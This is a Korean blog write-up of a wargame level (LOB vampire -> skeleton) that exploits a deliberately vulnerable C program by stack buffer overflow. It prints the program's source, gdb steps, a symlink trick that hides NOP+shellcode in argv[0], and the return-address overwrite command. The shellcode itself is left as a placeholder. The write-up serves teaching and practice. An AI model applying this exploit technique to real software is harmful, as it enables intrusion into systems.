[LOB] level10, vampire -> skleton 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 6. 17:11
LOB, vampire -> skleton 문제 확인
argv 전부를 초기화하는 argv hunter 조건문이 추가되었다.
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
제약조건을 정리해보면 아래와 같다.
-
환경변수 초기화
-
버퍼 초기화
-
argv[1] 길이체크
-
48번째 바이트 \xbf
-
인자수 제한 (1개)
-
argv 전부 초기화 (argv hunter)
LOB, vampire -> skleton 풀이
환경변수, 버퍼, argv가 전부 초기화되기 때문에 어떻게 해야할지 모르겠어서 다른 분의 풀이에서 일부 힌트를 얻었다. gdb로 초기화되지 않은 부분이 있는지 살펴보자.
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*500'`
이유는 모르겠지만, 스택 끝쪽에 argv[0]이 남아있는 것을 확인할 수 있다.
여기서부터는 orge -> troll 풀이와 거의 비슷하게 argv[0]을 사용해야하기 때문에 심볼릭 링크를 활용할 것이다. (아래는 A를 사용했지만) nop+shellcode의 코드를 파일명으로 갖는 파일을 실행 시 skeleton이 실행되도록 심볼릭 링크를 걸어준 후 gdb로 실행시킨다. 참고로 쉘코드가 스택끝에 너무 가까우면 실행되지 않을수도 있다고 해서 쉘코드 뒤에도 nop을 조금 추가하였다.
[vampire@localhost vampire]$ ln -s /tmp/skeleton
/tmp/`python -c 'print "A"*100+"[shellcode]"+"\x90"*100'`
[vampire@localhost vampire]$ gdb /tmp/`python -c 'print "A"*100+"[shellcode]"+"\x90"*100'`
프로그램 종료 전에 bp를 건 후 x/2000로 스택 끝까지 초기화되지 않고 남아있는 argv[0] 값을 확인한다.
"A"는 실제 익스플로잇 시도 시 nop으로 채울것이기 때문에 너무 시작부분 말고 적당한 지점인 \xbfffff1e를 리턴주소에 덮는 주소로 사용하도록 하겠다.
LOB, vampire -> skleton 익스플로잇
RET에 덮을 주소값도 알아냈으니 /tmp 에서 했던 것처럼 skeleton 파일에 심볼릭 링크를 똑같이 걸어준다. 그리고 링크를 걸어준 파일을 실행시키고 argv[1]에 더미값 44개와 \xbfffff1e로 RET 부분을 덮어주면 아래와 같이 쉘을 획득할 수 있다.
[vampire@localhost vampire]$ ./`python -c 'print "\x90"*100+"[shellcode]+"\x90"*100'`
`python -c 'print "\x90"*44+"\x1e\xff\xff\xbf"'`
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level12, golem -> darknight 풀이 (SFP 조작) (0) | 2020.04.07 |
---|---|
[LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |
[LOB] level9, troll -> vampire 풀이 (0) | 2020.04.06 |
[LOB] level8, orge-> troll풀이 (0) | 2020.04.05 |
[LOB] level7, darkelf -> orge 풀이 (0) | 2020.04.05 |